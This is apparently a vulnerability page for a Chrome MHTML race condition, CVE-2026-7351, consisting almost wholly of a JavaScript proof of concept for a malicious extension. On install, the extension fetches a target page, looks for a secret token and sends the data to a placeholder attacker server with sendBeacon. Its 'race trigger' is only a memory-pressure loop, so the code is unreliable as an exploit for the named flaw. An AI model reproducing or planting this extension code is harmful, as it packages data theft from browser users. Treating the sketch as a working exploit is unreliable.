CVE-2026-7351 Chrome MHTML竞态条件漏洞

// Conceptual PoC for Race Condition in MHTML handling via Extension // This script runs in the background of a malicious extension. const TARGET_URL = "https://target-site.com/sensitive.mhtml"; const LEAK_URL = "https://attacker-server.com/collect"; async function exploitRaceCondition() { // Step 1: Initiate fetch of MHTML content const fetchPromise = fetch(TARGET_URL); // Step 2: Execute logic to trigger the race window during parsing // This might involve rapid garbage collection or DOM manipulation triggerRaceWindow(); try { const response = await fetchPromise; const data = await response.text(); // Step 3: Check if cross-origin data was leaked if (data.includes("SECRET_TOKEN")) { exfiltrate(data); } } catch (error) { console.log("Exploit attempt failed, retrying..."); } } function triggerRaceWindow() { // Simulate operations intended to desynchronize MHTML parser // In a real exploit, this would precisely time operations with the browser's rendering loop let temp = []; for(let i=0; i<1000; i++) { temp.push(new Array(1000).fill('x')); // Memory pressure } } function exfiltrate(data) { // Send leaked data to attacker navigator.sendBeacon(LEAK_URL, data); } chrome.runtime.onInstalled.addListener(() => { exploitRaceCondition(); });